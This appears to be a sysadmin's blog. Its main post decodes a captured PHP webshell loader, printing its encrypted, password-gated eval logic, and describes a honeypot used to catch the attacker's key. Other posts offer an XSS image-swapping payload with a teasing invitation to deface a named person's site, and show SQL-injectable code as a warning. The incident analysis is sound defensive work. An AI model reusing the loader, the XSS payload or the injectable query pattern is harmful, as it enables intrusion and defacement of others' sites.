Subscribe via feed.

Reversing a (particularly nasty) webshell

Posted by admin under Web stuffs (8 Responds)

Today I got to reverse-engineer a particularly clever webshell (no stupid eval( gzinflate( base64_encode())) crap). I’ve cleaned my fair share of embedded PHP out of pages, but I’ve never actually encountered anything this interesting, which may not be saying much.

<?php
$____='...binary junk...LOTS of binary junk...';
$___=isset($_POST['___'])?$_POST['___']:(isset($_COOKIE['___'])?$_COOKIE['___']:NULL);

if($___!==NULL){
    $___=md5($___).substr(md5(strrev($___)),0,strlen($___));
    for($_____=0;$_____<15090;$_____++){
        $____[$_____]=chr(( ord($____[$_____])-ord($___[$_____]))%256);
        $___.=$____[$_____];
    }
    if($____=@gzinflate($____)){
        if(isset($_POST['___']))
            @setcookie('___', $_POST['___']);
        $_____=create_function('',$____);
        unset($____,$___);
        $_____();
    }
}
?>
<form action="" method="post"><input type="text" name="___" value=""/><input type="submit" value="&gt;"/></form>

Ugly, right?

The first thing I did was to replace the functions and variable into something a bit more readable and comment some stuff in.

$auth = 'BINARY DATA'
// Checks for cookie or POST'd password
$auth=isset($_POST['___'])?$_POST['___']:(isset($_COOKIE['___'])?$_COOKIE['___']:NULL);
// If authenticated/trying to auth
if($auth!==NULL)
{
    // md5 of password substr'd with a subset of the md5
    $auth=md5($auth).substr(md5(strrev($auth)),0,strlen($auth));
    // XOR? encryption loop
    for($i=0;$i<15090;$i++)
    {
        $data[$i]=chr(( ord($data[$i])-ord($auth[$i]))%256);
        $auth.=$data[$i];
    }
    // At this point the data is decrypted into $data
    if($data=@gzinflate($data))
    {
        // Set the cookie to the password value
        if(isset($_POST['___']))
            @setcookie('___', $_POST['___']);
        // Create a new function of the decrypted data
        $newfunc=create_function('',$data);
        // Unset everything used
        unset($data,$auth);
        // Execute evil PHP
        $newfunc();
    }
}

Then I realized that no matter what I did, there wasn’t much I could do unless I had the encryption key that was used. Thankfully I checked the webserver and someone (188.116.32.134 => Poland) had logged in that day, I had a chance!

I replaced his evil PHP scripts with this to attempt to capture the key

<?php
// Write a file into temp with microtime() appended to it so he
// can't blank it back out, and capture the arrays $_POST and $_GET.
// Bwahaha PHP honeypot!
file_put_contents('/tmp/evil.postdata.' . microtime(True) . '.txt',
                   var_export($_POST, true));
file_put_contents('/tmp/evil.getdata.'  . microtime(True) . '.txt',
                   var_export($_GET, true));
?>

<form action="" method="post">
<input type="text" name="___" value=""/>
<input type="submit" value="&gt;"/>
</form>

Then around 2:00AM guess who came back to do some more spamming?

[root@server tmp]# stat /tmp/evil.postdata.1328943826.7825.txt
  File: `/tmp/evil.postdata.1328943826.7825.txt'
--SNIP--
Access: 2012-02-11 21:37:26.000000000 -0500
Modify: 2012-02-11 02:03:46.000000000 -0500
Change: 2012-02-11 02:03:46.000000000 -0500

Awesome! I’ve captured his key! Take that you stupid spammer! :)

[root@server tmp]# cat /tmp/evil.postdata.1328943826.7825.txt
array (
  '___' => '145155',
)

At this point I copied the evil PHP script over to a dev VM I had laying about for this sort of thing, snapshotted it, then edited the code to look like this

$___='145155';

if($___!==NULL){
    $___=md5($___).substr(md5(strrev($___)),0,strlen($___));
    for($_____=0;$_____<15090;$_____++){
        $____[$_____]=chr(( ord($____[$_____])-ord($___[$_____]))%256);
        $___.=$____[$_____];
    }
    if($____=@gzinflate($____)){
        if(isset($_POST['___']))
            @setcookie('___', $_POST['___']);
// Stop execution of the shell
//              $_____=create_function('',$____);
//              unset($____,$___);
//              $_____();
        }
                // print de-obfuscated code without execing it
                print '<pre style="white-space: pre-wrap;">' . htmlspecialchars($____) . '</pre>';
                // end execution
                die();
}

I fired up chrome and pointed it at the server and BAM! Webshell Decrypted.

If you’re curious, you can find the entire thing decrypted and formatted PHP script here

Turns out it’s the P.A.S. Webshell 3.0.5, and after googling that exact thing I found this:
http://profexer.name/pas/download.php where you can build your own with your own encryption key. Way to make this sort of pain in the ass behavior easily accessible d-bags.

Tags: , ,

Something Fun (lazer.js)

Posted by admin under General, Web stuffs (No Respond)

A while ago I designed a snippit of js to inject when I found a XSS issue on a page, I was sick of doing rick-rolls, and anything else I could really think of so I ended up making an img swapper. It goes through every <img> tag in the page and replaces with the gif found here

Bookmarklet => here

.js file => <script src=”https://www.talesofacoldadmin.com/lazer.js“></script>

Now go ahead and turn Gregory D. Evan’s face into something better. You know you want to.

And if you *REALLY* want to puke all over yourself in a glorious seizure of “XSS FAIL” click this. Not for the feint of heart!

Pwned website analysis == a total pain.

Posted by admin under Web stuffs (No Respond)

One of my least favorite things to do in life is play “Clean up after the {Russian, Estonian, Chinese, Swedish, American} hackers”. I end up doing this more then I care to admit to, especially because of our infrastructure. It’s a bit like a Microsoft Product, someone adhered to standards at some point, but they’re gone and since no-one is policing it (or can’t), it doesn’t get done. I end up seeing many things like this:

dostuff.php:100: $thing = $_GET['derp']
dostuff.php:111: $query = "select * from something where indexnum=$thing";
dostuff.php:112: $result = mysql_query($query);

Absolutely *NO* sanitization anywhere near any input whatsoever.

Anywho, I’ve also finished a de-obfuscator in python for de-obfuscating stupid php shells:

#(^_^)-(!23823)-(rdsears@quixote)-(07:13:41)-(XXX.XXX.X.XXX)
#(~/coding/Random/Python)
python eval.gzinflate.base64.py "eval(gzinflate(base64_decode('S03OyFdQikysVMhNTM9MLlbU09NLrUhOLShRyMsvUSjOV8gtTc5Q4krJTNXQBAA=')));"
echo "Yay magics!...except not so much"
die()

#(^_^)-(!24824)-(rdsears@quixote)-(07:13:51)-(XXX.XXX.X.XXX)
#(~/coding/Random/Python)
python eval.gzinflate.base64.py "gzinflate(base64_decode('S03OyFdQikysVMhNTM9MLlbU09NLrUhOLShRyMsvUSjOV8gtTc5Q4krJTNXQBAA='));"
echo "Yay magics!...except not so much"
die()

#(^_^)-(!25825)-(rdsears@quixote)-(07:14:00)-(XXX.XXX.X.XXX)
#(~/coding/Random/Python)
python eval.gzinflate.base64.py "base64_decode('S03OyFdQikysVMhNTM9MLlbU09NLrUhOLShRyMsvUSjOV8gtTc5Q4krJTNXQBAA=');"
echo "Yay magics!...except not so much"
die()

#(^_^)-(!26826)-(rdsears@quixote)-(07:14:10)-(XXX.XXX.X.XXX)
#(~/coding/Random/Python)
python eval.gzinflate.base64.py "S03OyFdQikysVMhNTM9MLlbU09NLrUhOLShRyMsvUSjOV8gtTc5Q4krJTNXQBAA="
echo "Yay magics!...except not so much"
die()

You can find it here

Tags: , , , , , ,

Added tools

Posted by admin under General (No Respond)

I’ve added a *sane* tools page to my blog finally. Mostly links pointing to my git server for now, but eventually every tool should have it’s own page, and links to my git server as well! :)

Tags:

A new year, A new blog

Posted by admin under General (No Respond)

Hi readers,

I’ve decided it’s time to move to some form of a real CMS, I was sick of editing things by hand and re-uploading them. It’d be one thing if I was on an actual server, but with fatcow I just have the website hosing stuffs.

Either way, I’m excited to have this! Happy New years! :)

Fitblip

Tags: ,